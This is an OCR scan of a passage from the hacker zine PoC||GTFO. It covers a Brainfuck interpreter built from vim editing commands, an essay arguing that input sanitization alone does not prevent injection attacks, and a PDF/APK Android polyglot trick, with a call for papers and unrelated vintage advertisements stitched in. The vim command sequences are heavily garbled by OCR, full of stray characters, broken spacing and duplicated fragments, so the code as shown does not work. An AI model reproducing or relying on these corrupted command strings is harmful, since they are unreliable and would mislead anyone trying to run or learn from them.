1 ‘twmt‘p mpyl ‘ c/_\VTt" ~Mf— ly2tX@ " 


Plainly, this is: move to the memory tape (‘t), 
move forward one memory cell (w), mark the new 
location in the tape (mt), move back to the BF pro- 
gram ( l p), move forward one character to progress 
over the now executed BF instruction ( ), mark the 
new location in the BF program (mp) , yank the next 
BF instruction (yl), and follow the previous process 
( ‘ c/_\V~R"~Mf -ly2tX@" ) to locate that instruction 
in the command table, yank its commands, and ex- 
ecute them. 

<, then, is similarly implemented as: 

1 ‘tbmt‘p mpyl ‘ c/_\V~R" ~Mf— ly2tX@ " 


We again apply the trick of special charac- 
ters around each operation to simplify the search 
process — we may find many >’s in our file, but there 
will be only one _>-. We mark the end of the com- 
mand with an X. We preemptively supply additional 
_f and _b commands, to carry out the conditional 


What of + and -? + can be performed with 
l| ‘ t ~A‘ p mpyl ‘ c /_\V~R" ~Mf— ly2tX@ " 
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This is virtually identical to the < and > imple- 
mentation. This time, we move to the current data 
cell and increment it with ' A. Strictly speaking, this 
is a violation of the copy/paste/search/replace type 
execution we have been using. However, with mini- 
mal effort, the increment could be performed via a 
lookup table (as we do for the ASCII conversion)— 
we simply elide this for brevity. 

Simply replacing ~ A (increment) with A X 
(decrement), - is derived: 

1 ‘t~X‘p mpyl ‘ c/_\V~R" ~Mf— ly2tX@ " 


Now, certainly, our interpreter is not useful with- 
out input and output, so let us add . and , com- 
mands. . may be 

1 ‘ tyw ‘ a/_\( ~R" \ | uuu\ ) * Melly 1 ‘ op$mo ‘ p mpyl 1 c /_ 

\V~R" ~Mf— ly2tX@ " 


This of course is: move to the memory tape 
(‘t), yank a cell (yw), move to the ASCII table (‘a), 
search for the yanked cell or, if it is not found, move 
to the uuu marker, (/_\ (~R"\ I uuu\) ~M) , move over 
the marker characters (ell), yank the corresponding 
ASCII character (yl), move to the output (‘o), paste 
the ASCII character (p), move to the end of the out- 
put ($), mark the new output location (mo), and 
finally, move back to the BF program, move over 
the executed instruction, grab the next instruction, 
locate its commands, and execute them, as before. 

1 1 ( ‘ p mpyl ‘ c /_\V~R" ~Mf— ly2tX@ " ) 


Data input with , is similarly: 

1 ‘ iy mi ‘a/ ~R"_~MT_ye‘ txt p‘p mpyl ‘ c /_\V~R" ~ 
Mf-ly2tX@" 


Which simply performs the reverse lookup and 
stores the result in the current memory cell. 

We are close, but, alas!, nothing is ever simple, 
and BF’s conditional looping becomes more com- 
plicated. The BF [ instruction means precisely 11 if 
the byte at the data pointer is zero, then instead of 
moving the instruction pointer forward to the next 
command, jump it forward to the command after the 
matching ] command .” 


1 ‘ tyt ‘f/\(-'R"\|n\)x-Mf-ly2tX®" 


Meaning, navigate to the memory tape (‘t), yank 
a memory cell (yt ), navigate to the forward as- 
sist commands (‘f ) , search for either the yanked 
cell, or, if it is not found, the character n, fol- 
lowed by x (/\ (~R"\ I n\)x~M) , and yank and ex- 
ecute the given commands, using the process as be- 
fore (f-ly2tX@"). This search allows us to achieve 
the conditional portion of the [ instruction — we will 
include a marker for only “0”, so only a memory cell 
of “0” will find a match— all others will be directed to 
the “n” character. Our forward assist then appears 
as: 

1 _f:_0x:-‘p% mpyl‘c/_\V~R"~Mf-ly2tX@"X_nx:-‘p 
mpyl ‘ c/_\V'R" ~Mf-ly2tX@ "X 


If the memory cell is 0, the previous search 
matches _0x, and the commands following it are 
yanked and executed. If the memory cell is not 
0, the previous search matches _nx, and the com- 
mands following it instead are yanked and exe- 
cuted. For 0, we have: go to the BF program 
(‘p), navigate to the corresponding ] instruction 
(%), move to the instruction after this ( ), mark 
the new location in the program (mp), and then 
yank and execute the next instruction, as before. 
(yl‘c/_\V~R"~Mf-ly2tX@") For non-0, we have: go 
to the BF program ( l p), navigate to the next instruc- 
tion ( ), mark the new location in the program (mp), 
and then yank and execute the next instruction, as 
before, (yl ‘ c/_\V~R"~Mf -ly2tX@") 

] is now straightforward. Following the same 
patterns, we have: 

l| ‘tyt ‘b/\(~R" \|n\)x'Mf-ly2tX@" 


for the conditional search, and 

1 _b:_0x:-‘p mpyl ‘ c/_\V~R" 'Mf-ly2tX@ "X_nx: - ‘p% 
mpyl ‘ c/_\V~R" ~Mf— ly2tX@ "X 


as the backward assist commands. An ardent 
observer may argue the the vim % command vi- 
olates our copy/paste/search/replace design, and, 
alas!, this is so. However, we argue that a series 
of searches, increments, and decrements— like those 
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:%s/\~A/\="\<C-A>"/g|9 
0 f — ly$@ " 


s / \ ~X/\= " \<C— X>" / g | % s / \ - 'R/\= " \<C— R> " / g | % s / \ ~M/ \ n / g | 0 6 


### lau 

mt mum 


ith gg2yy@" // // // 
axeaxeax //////////// - 


sl-ggOmh ' h/_t*Mnjmt ‘ h/ p'Mnjmp 1 h / o'Mnjmo ‘ h / i'Mnjmi * h/_s2~ Mnf— ly $ @ " njmt j 
s2 — 1 h/ a'Mnjma' h / _c ~ Mnf : me ‘ h / f ~ Mnf mf ‘ h / b ~ Mnf mb* py 1 ‘ c /_\V~R" '’Mf— ly2tX@ " 
”z_>-‘twmt * p mpy 1 * c’/_\V''R" ~ Mf-Iy 2tX@ lr Xs_<- T tbmt * p mpyl * c/_\V~R" -'Mf-ly2tX@ "X 

_f : Ox : - *p% mpyl * c/_\V~R" ''Mf-ly2tX@ "Xa_nx: - ‘p mpyl * c /_\V'R" ~Mf-ly2tX@ " Xmpyl 

_b : Ox : - ‘p mpyl * c/_\V~R" ~Mf-ly2tX@ "Xm_nx: - * p% mpyl * c/_\V~R" ~Mf-ly2tX@ " Xly2t 

_+-‘t 'A* p mpyl * c/_\V~R" -'Mf-ly2tX@ "Xo_ ‘t ~X* p mpyl * c /_\V'R" -'Mf-ly2tX@ "X_/ 

_] - * tyt * b/\( ~R" \ | n \ ) x ~ Mf— ly 2 1 X@ "Xd_[ - ‘tyt ‘ f / \ ( ~R" \ | n\ ) x'"Mf-ly2tX@ "X~ $0x: - 

v . $7yy _ . - ‘tyw * a/_\(~R" \ | uuu\) ~ Mellyl * op$mo * p mpyl * c /_\V~R" ''Mf-ly2tX@ " Xelly 

$ * p mpy * pyl ‘a , — * iy mi * a / ~R" “MT ye* t vt p * p mpyl * c /_\V'R" ~ Mf— ly 2tX@ "X 
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Figure 20 - VIM Execution Engine 


we have already shown - could be used to implement 
%’s functionality in a more perfect manner; we leave 
this as an exercise for the purists. 

But lo! With the implementation of the 8 BF 
instructions, our execution engine is complete! Fig- 
ure 20 shows a cleanly formatted version of the 
final machine. The demonstration machine uses 
our copy/paste/search/replace commands to calcu- 
late the prime numbers up to 100. For ease of 
use, we add an introductory %s search and replace 
sequence — momentarily allowing ourselves to enter 
ex commands — in order to insert the control char- 
acters (" M, " R, etc.) needed throughout the rest 
of the machine. This provides us a pure- ASCII file, 
without the need to enter special characters. Simply 
copy the below, paste into vanilla vim, launch with 
gg2yy@", and witness the awesome Turing-complete 
power of our benevolent editor! 54 






54 unzip pocorgtfol2.pdf vimimnex.tar .gz 
git clone https://github.com/xoreaxeaxeax/vimmmex 
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10 Doing Right by Neighbor O’Hara 


by Andreas Bogk 

Knight in the Grand Recursive Order of the Knights of the Lambda Calculus 

Priest in the House of the Apostles of Eris 

What good is a pulpit that can’t be occasionally shared with a neighborly itinerant preacher? In this fine 
sermon, Sir Andreas warns us of the heresy that “input sanitation ” will somehow protect you from injection 
attacks, no matter what comes next for the inputs you’ve “sanitized”— and vouchsafes the true prophecy of 
parsing and unparsing working together, keeping your inputs and outputs valid, both coming and going. 
-PML 


Brothers, Sisters, and Variations Thereupon! 

Let me introduce you to a good neighbor. Her 
name is O’Hara and she was born on January 1st 
in the year 1970 in Dublin. She’s made quite an 
impressive career, and now lives in a nice house in 
Scunthorpe, UK, working remotely for AT&T. 

I ask you, neighbors: would you deny our neigh- 
bor O’Hara in the name of SQL injection preven- 
tion? Or would you deny her date of birth, just 
because you happen to represent it as zero in your 
verification routine? Would you deny her place of 
work, as abominable as it might be? Or would you 
even deny her place of living, just because it contains 
a sequence of letters some might find offensive? 

You say no, and of course you’d say no! As her 
name and date of birth and employer and place of 
residence, they are all valid inputs. And thou shalt 
not reject any valid input; that truly would not be 
neighborly! 

But wasn’t input filtering a.k.a. “sanitization” 
the right thing to do? Don’t characters like ’ and & 
wreak unholy havoc upon your backend SQL inter- 
preter or your XHTML generator? 

So where did we go wrong by the neighbor 
O’Hara? 

There is a false prophesy making the rounds 
that you can protect against undesirable injection 
into your system by “input sanitization,” no matter 
where your “sanitized” inputs go from there, and no 
matter how they then get interpreted or rendered. 
This “sanitization” is a heathen fetish, neighbors, 
and the whole thing is dangerous foolery that we 
need to drive out of the temple of proper input- 
handling. 

Indeed, is the apostrophe character so inherently 
dirty and evil, that we need to “sanitize” them out? 
Why, then, are we using this evil character at all? 


Is the number 0 evil and unclean, no matter what, 
despite historians of mathematics raving about its 
invention? Are certain sounds unspeakable, regard- 
less of where and when one may speak them? 

No, no, and no— for all bytes are created equal, 
and their interpretation depends solely on the con- 
text they are interpreted in. As any miracle cure, 
this snake oil of “sanitization” claims a grain of 
truth, but entirely misses its point. No byte is in- 
herently “dirty” so as to be “sanitized” as such— but 
context and interpretation happeneth to them all, 
and unless you know what these context and the in- 
terpretations are, your “sanitization” is useless, nay, 
harmful and unneighborly to O’Hara. 

The point is, neighbors, that at the input time 
you cannot possibly know the context of the output. 
Your input sanitation scheme might work to protect 
your backend for now — and then a developer comes 
and adds an LDAP backend, and another comes and 
inserts data into a JavaScript literal in your web 
page template. Then another comes and adds an 
additional output encoding layer for your input — 
and what looked safe to you at the outset crumbles 
to dust. 
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The ancient prophets of LISP knew that, for they 
fully specified both what their machine read, and 
what it printed, in the holy REPL, the Read-Eval- 
Print Loop. The P is just as important as the R 
or even the I?— for without it everything falls to the 
ground in the messy heaps that bring about XSS, 
memory corruption, and packet-in-packet. Pretty- 
printing may sound quaint, a matter unnecessary 
for “real programmers,” but it is in fact deep and 
subtle — it is unparsing, which produces the represen- 
tation of parsed data suitable for the next context 
it is consumed in. They knew to specify it precisely, 
and so should you. 

So what does the true prophecy look like? Verily 
sanitize your input — to the validity expectations you 
have of it. Yet be clear what this really means, and 
treat the output with as much care as you treat the 
input— because the output is a language too, and 
must be produced according to its own grammar, 
just as validating to the input grammar is the only 
hope of keeping your handler from pwnage. 

Sanity in input is important in structured data. 
When you expect XML, you shall verify it is XML. 
When you expect XML with a Schema, also verify 
the schema. Expecting JSON? Make sure you got 
handed valid JSON. Use a parser with the appro- 
priate power, as LangSec commands. Yet, if your 
program were to produce even a single byte of out- 
put, ask— what is the context of that output? What 
is the expected grammar? For verily you cannot 
know it from just the input specification. 

Any string of characters is likely to be a valid 
name. There is nothing you should really do for 
“sanitation,” except making sure the character en- 
coding is valid. If your neighbor is called O’Hara, 
or Tprsby, or Ake, make sure you can handle this 


input — but also make sure you have the output cov- 
ered! 

This is the true meaning of the words of prophets: 
input validation, however useful, cannot not prevent 
injection attacks, the same way washing your hands 
will not prevent breaking your leg. Your output is 
a language too, and unless you generate it in full 
understanding of what it is — that is, unparse your 
data to the proper specification of whatever code 
consumes it — that code is pwned. 

Parsing and unparsing are like unto the two 
wings of the dove. Neglect one, and you will not get 
you an olive branch of safety — nay, it will never even 
leave your ark, but will flap uselessly about. Do not 
hobble it, neighbors, but let it fly true— doing right 
by neighbors like O’Hara both coming and going! 

EOL, EOF, and EOT! 



Pure Rich Fragrant 



Packed in Parchment-lined 
One Pound and Half-pound Canisters 

1-lb. Canisters, 60 cents 
1-2 lb. Canisters, 35 cents 

WE INVITE COMPARISON WITH OTHER TEAS 
OF THE SAME OR HIGHER PRICE 

S. S. PIERCE CO. 

C^Tey n Square BeaC ° n s ““!) BOSTON Coolidgc \ BROOKLINE 


77 





AIL ELECTRONIC ENGINEERS 

WITH A DESIRE TO 

CREATE ! 


The building of a ham station is an outlet for some of our 
creativeness. In the 35 years I’ve been a ham operator, I’ve 
found a lot of satisfaction in my hobby: but nothing gives me more 
creative pleasure than my job. 

At the Westinghouse Electronics Division, creativeness is 
encouraged. Important, too, is the fact that the work is so vital ! 
We’re working on advanced development projects that are both 
interesting and challenging! For the expansion of these projects 
we are looking for electronic engineers experienced in radar and 
Missile Guidance Systems. 

Of course, Westinghouse offers the finest income and benefit 
advantages, as well as a good location. You’ll find ideal suburban 
living accommodations and many big-city attractions. 

If you'd like more information on the high-level openings to be 
filled in the near future, drop us a line today! 


R. M. Swisher, Jr. 

Employment Supervisor, Dept. 34 
Westinghouse Electric Corp. 

2519 Wilkens Avenue 
Baltimore 3, Maryland 

you CAN 6E SURE .. • IF l?$ 

Westinghouse 
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11 Are All Androids Polyglots or Only C-3PO? 


by Philippe Teuwen 


$ pm install /sdcard/pocorgtfol2 . pdf 


That’s all it takes to install this polyglot as an 
Android application. So what’s the Jedi mind trick? 

Basically, we merged the content of an Android 
application with the ZIP feelies. (Please excuse the 
cruft you’ll find in the feelies!) 

Now I won’t teach you anything if I tell you that 
an APK is just a ZIP. It is, of course, a ZIP, but not 
just, if we also want it to be an Android app; we 
need the application itself, for one thing, and then 
some. 

The Android OS requires all applications to be 
signed in order to be installed, so our polyglot needs 
to be signed by our Pastor, which is actually not 
a bad practice. Beyond this, Android doesn’t re- 
ally care about what else the ZIP could be (e.g., it 
can be a PDF, as is the glorious PoC||GTFO tra- 
dition), but the trick is that all of the archive con- 
tents must be signed. In particular, this must in- 
clude all the original feelies, as you can observe in 
META-INF/MANIFEST . MF. 

The resulting polyglot can be installed directly 
if dropped on /sdcard/, as well as locally, by using 
the Android Package Manager as shown above. 



But I expect most readers — well, only those crazy 
enough to give execute permission to the Pastor on 
their terminals — to install it via the Android Debug 
Bridge tool adb. This method expects the applica- 
tion package filename to end in . apk, so let’s humor 
it: 

$ In -s pocorgtfol2.pdf pocorgtf ol2 . apk 
$ adb install pocorgtf o 12 . apk 

But what does this application do? Not much, 
really. It copies itself (the installed APK) to 
/sdcard/pocorgtf ol2 . pdf and opens the copy 
with your preferred PDF reader. 

Note: Imperial security is improving and on the 
latest versions of the OS, even if this ’droid polyglot 
gets installed, it may fail in dex2oat. You may need 
to develop your own Jedi tricks to tell them these 
are not the droids they are looking for -and if you 
do, please send them to us! 55 

And you, my friend, are you a polyglot? Let’s 
celebrate this fine Quebecoise release with a classic 
charade\ 


55 This has been finally solved in time for this electronic release. Use the Force to unravel its secrets... You may even propagate 
it neighbourly by Near Force Communication, in which case Padawans have first to accept apks from unknown sources. 


Charade des temps modernes 

Mon premier est le nombre de Messier de la Galaxie d’Andromede. 

Mon second est la somme de quatre nombres premiers consecutifs commengant par 41. 
Mon troisieme est le nombre atomique de l’Unennquadium. 

Mon quatrieme est le nombre modele qui succeda au Sinclair ZX80. 

Mon tout leve tous les obstacles sur le chemin de la Science. 
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12 Tithe us your Alms of Oday! 


from the desk of Pastor Manul Laphroaig, 
International Church of the Weird Machines 


Dear neighbors, 

It’s easy to feel down in these dark times. The 
prices are up, the stocks are down, and even in this 
twenty first century, innocent kids are imprisoned 
or driven to the brink of madness in the name of 
justice. 

But don’t despair! There are clever things to be 
done and good conversations to be had, while the 
barbarians aren’t yet at our door. 

I have a good friend named Jacob. He’s a bar- 
tender, but to his regulars, he is a professional con- 
versation pimp. When you sit down at his bar by 
yourself, you’ll barely have time to take that first 
sip of your whiskey before he introduces you to Al- 
ice and Bob, as you all three do something with that 
fancy cryptography stuff. 

Or he might introduce you to Mallory, as you 
both enjoy a malicious prank or two. Or to Sergey, 
as you both enjoy rare cat pictures. 

And when it’s too early or too late for him to in- 
troduce you to a new friend, he’ll strike up a conver- 
sation himself like those bartenders do on television 
shows, but so rarely in real life. 

So be like Jacob, and make the world a better 
place through good conversation. Verily I tell you, 
Jacob’s bar, and our pews, and the timbers of what- 
ever roof you strike a friendly conversation under are 
all part of the same great ladder of neighborliness! 




Do this: write an email telling our editors how 
to reproduce ONE clever, technical trick from your 
research. If you are uncertain of your English, we’ll 
happily translate from French, Russian, Southern 
Appalachian, and German. If you don’t speak those 
languages, we’ll draft a translator from those poor 
sods who owe us favors. 

Like an email, keep it short. Like an email, you 
should assume that we already know more than a 
bit about hacking, and that we’ll be insulted or 
WORSE!— that we’ll be bored if you include a long 
tutorial where a quick reminder would do. 

Just use 7-bit ASCII if your language doesn’t 
require funny letters, as whenever we receive some- 
thing typeset in OpenOffice, we briefly mistake it 
for a ransom note. Don’t try to make it thorough 
or broad. Don’t use bullet-points, as this isn’t a 
damned Powerpoint deck. Keep your code samples 
short and sweet; we can leave the long-form code as 
an attachment. Do not send us DTj^jX; it’s our job 
to do the typesetting! 

Don’t tell me that it’s possible; rather, teach me 
how to do it myself with the absolute minimum of 
formality and bullshit. 

Like an email, we expect informal (or faux- 
biblical) language and hand-sketched diagrams. 
Write it in a single sitting, and leave any editing 
for your poor preacherman to do over a bottle of 
fine scotch. Send this to pastor@phrack.org and 
hope that the neighborly Phrack folks— praise be to 
them! — aren’t man-in-the-middling our submission 
process. 


Yours in PoC and Pwnage, 
Pastor Manul Laphroaig, D.D. 
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